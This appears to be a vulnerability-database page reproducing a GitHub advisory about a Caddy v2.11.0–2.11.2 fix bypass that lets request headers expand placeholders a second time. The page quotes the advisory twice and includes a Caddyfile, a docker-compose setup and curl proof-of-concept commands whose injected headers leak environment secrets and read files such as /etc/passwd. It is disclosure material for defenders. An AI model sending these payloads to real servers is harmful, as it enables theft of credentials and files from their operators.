GHSA-wwhq-w58m-w29c: Github.com/caddyserver/caddy/v2 Caddy CVE-2026-30852 Fix Bypass Vulnerability

MODERATE
CWE-917
Published
Advisory Summary

GHSA-wwhq-w58m-w29c is a MODERATE caddy cve-2026-30852 fix bypass vulnerability (CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')) affecting Github.com/caddyserver/caddy/v2 libraries in the Go ecosystem. The issue involves caddy cve-2026-30852 fix bypass. Remediation is available in the latest vendor maintenance releases.

GHSA-wwhq-w58m-w29c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wwhq-w58m-w29c
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
Affected Product Github.com/caddyserver/caddy/v2
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-wwhq-w58m-w29c

To remediate this vulnerability, upgrade all affected Github.com/caddyserver/caddy/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/caddyserver/caddy/v2 fixed: Latest secure release
Upgrade github.com/caddyserver/caddy/v2 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/caddyserver/caddy/v2

How to Check if You Are Affected

To determine whether your application is affected by GHSA-wwhq-w58m-w29c, inspect your project dependencies for Github.com/caddyserver/caddy/v2:

inspect dependencies for github.com/caddyserver/caddy/v2

Analyze the terminal output to locate any version of Github.com/caddyserver/caddy/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'), where the product constructs all or part of an expression language (el) statement in a framework such as a java server page (jsp) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended el statement before it is executed. In Github.com/caddyserver/caddy/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# ## TL;DR CVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header → Caddy expands it on the second pass → secrets leaked in response headers. **Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix. ## Root Cause `modules/caddyhttp/vars.go`, lines 215-217: ```go valExpanded = varStr if !fromPlaceholder { valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION } ``` Same issue at line 358-360 in `MatchVarsRE`. `fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`. ### Expansion chain: 1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}` 2. Request header: `X-Tenant-ID: {env.SECRET}` 3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "")` → resolves to literal string `{env.SECRET}`. Stored in vars map. 4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll("{env.SECRET}", "")` → resolves to the actual secret value. 5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`. ## Impact - **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc. - **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}` - **System info:** `{system.hostname}`, `{system.os}` - **Full env dump in one request:** `{file./proc/self/environ}` ## Realistic Attack Scenario API gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing. ``` # Caddyfile :8080 { vars tenant_id {http.request.header.X-Tenant-ID} @has_tenant vars_regexp tenant tenant_id (.+) handle @has_tenant { header X-Tenant-ID "{re.tenant.1}" reverse_proxy tenant-backend:8080 } respond "Missing X-Tenant-ID header" 400 } ``` ``` # docker-compose.yml services: caddy: image: caddy:2.11.2 ports: - "8080:8080" volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro environment: - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345 - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY ``` Attacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}` Response contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY` ## Reproduce ```bash docker compose up -d sleep 2 # Normal request — works as expected curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: acme-corp # Leak env var via response header curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 # Leak AWS credentials curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # Read arbitrary file curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant # Dump ALL env vars (Linux) curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/ ``` ## Confirmed Test Output (Caddy v2.11.2) ``` $ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: acme-corp X-Routed-To: tenant-acme-corp $ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345 $ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: 06140d4a8645 ``` ## Fix Apply expansion guard to BOTH branches: ```go // vars.go line 215-217 — fix: valExpanded = varStr // REMOVE: if !fromPlaceholder { // valExpanded = repl.ReplaceAll(varStr, "") // } ``` Or sanitize vars stored from user input before re-expansion.

GHSA-wwhq-w58m-w29c Affected Github.com/caddyserver/caddy/v2 Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/caddyserver/caddy/v2
Go
≥ 2.11.0
≤ 2.11.2

References

Frequently Asked Questions

What is GHSA-wwhq-w58m-w29c?
GHSA-wwhq-w58m-w29c is a security vulnerability in Github.com/caddyserver/caddy/v2 involving Caddy CVE-2026-30852 Fix Bypass under CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection').
Which Github.com/caddyserver/caddy/v2 versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/caddyserver/caddy/v2.
What version fixes GHSA-wwhq-w58m-w29c?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/caddyserver/caddy/v2 affected?
Yes, github.com/caddyserver/caddy/v2 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-wwhq-w58m-w29c?
GHSA-wwhq-w58m-w29c is classified under CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.).
How can I check Go dependencies for GHSA-wwhq-w58m-w29c?
Run the dependency tree command: 'inspect dependencies for github.com/caddyserver/caddy/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wwhq-w58m-w29c",
  "modified" : "2026-05-19T19:35:47Z",
  "published" : "2026-05-19T19:35:47Z",
  "aliases" : [ ],
  "summary" : "Caddy CVE-2026-30852 Fix Bypass",
  "details" : "# \n\n## TL;DR\n\nCVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header → Caddy expands it on the second pass → secrets leaked in response headers.\n\n**Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.\n\n## Root Cause\n\n`modules/caddyhttp/vars.go`, lines 215-217:\n\n```go\nvalExpanded = varStr\nif !fromPlaceholder {\n    valExpanded = repl.ReplaceAll(varStr, \"\")  // ← SECOND EXPANSION\n}\n```\n\nSame issue at line 358-360 in `MatchVarsRE`.\n\n`fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`.\n\n### Expansion chain:\n\n1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}`\n2. Request header: `X-Tenant-ID: {env.SECRET}`\n3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll(\"{http.request.header.X-Tenant-ID}\", \"\")` → resolves to literal string `{env.SECRET}`. Stored in vars map.\n4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll(\"{env.SECRET}\", \"\")` → resolves to the actual secret value.\n5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`.\n\n## Impact\n\n- **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc.\n- **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}`\n- **System info:** `{system.hostname}`, `{system.os}`\n- **Full env dump in one request:** `{file./proc/self/environ}`\n\n## Realistic Attack Scenario\n\nAPI gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.\n\n```\n# Caddyfile\n:8080 {\n    vars tenant_id {http.request.header.X-Tenant-ID}\n    @has_tenant vars_regexp tenant tenant_id (.+)\n    handle @has_tenant {\n        header X-Tenant-ID \"{re.tenant.1}\"\n        reverse_proxy tenant-backend:8080\n    }\n    respond \"Missing X-Tenant-ID header\" 400\n}\n```\n\n```\n# docker-compose.yml\nservices:\n  caddy:\n    image: caddy:2.11.2\n    ports:\n      - \"8080:8080\"\n    volumes:\n      - ./Caddyfile:/etc/caddy/Caddyfile:ro\n    environment:\n      - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345\n      - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production\n      - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n      - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY\n```\n\nAttacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}`\nResponse contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`\n\n## Reproduce\n\n```bash\ndocker compose up -d\nsleep 2\n\n# Normal request — works as expected\ncurl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: acme-corp\n\n# Leak env var via response header\ncurl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345\n\n# Leak AWS credentials\ncurl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n# Read arbitrary file\ncurl -sI -H \"X-Tenant-ID: {file./etc/passwd}\" http://localhost:8080/ | grep X-Tenant\n\n# Dump ALL env vars (Linux)\ncurl -s -H \"X-Tenant-ID: {file./proc/self/environ}\" http://localhost:8080/\n```\n\n## Confirmed Test Output (Caddy v2.11.2)\n\n```\n$ curl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: acme-corp\nX-Routed-To: tenant-acme-corp\n\n$ curl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: sk-SUPER-SECRET-KEY-12345\nX-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345\n\n$ curl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nX-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n$ curl -sI -H \"X-Tenant-ID: {file./etc/hostname}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: 06140d4a8645\n```\n\n## Fix\n\nApply expansion guard to BOTH branches:\n\n```go\n// vars.go line 215-217 — fix:\nvalExpanded = varStr\n// REMOVE: if !fromPlaceholder {\n//     valExpanded = repl.ReplaceAll(varStr, \"\")\n// }\n```\n\nOr sanitize vars stored from user input before re-expansion.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/caddyserver/caddy/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.11.0"
      }, {
        "last_affected" : "2.11.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/security/advisories/GHSA-wwhq-w58m-w29c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/caddyserver/caddy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-917" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T19:35:47Z",
    "nvd_published_at" : null
  }
}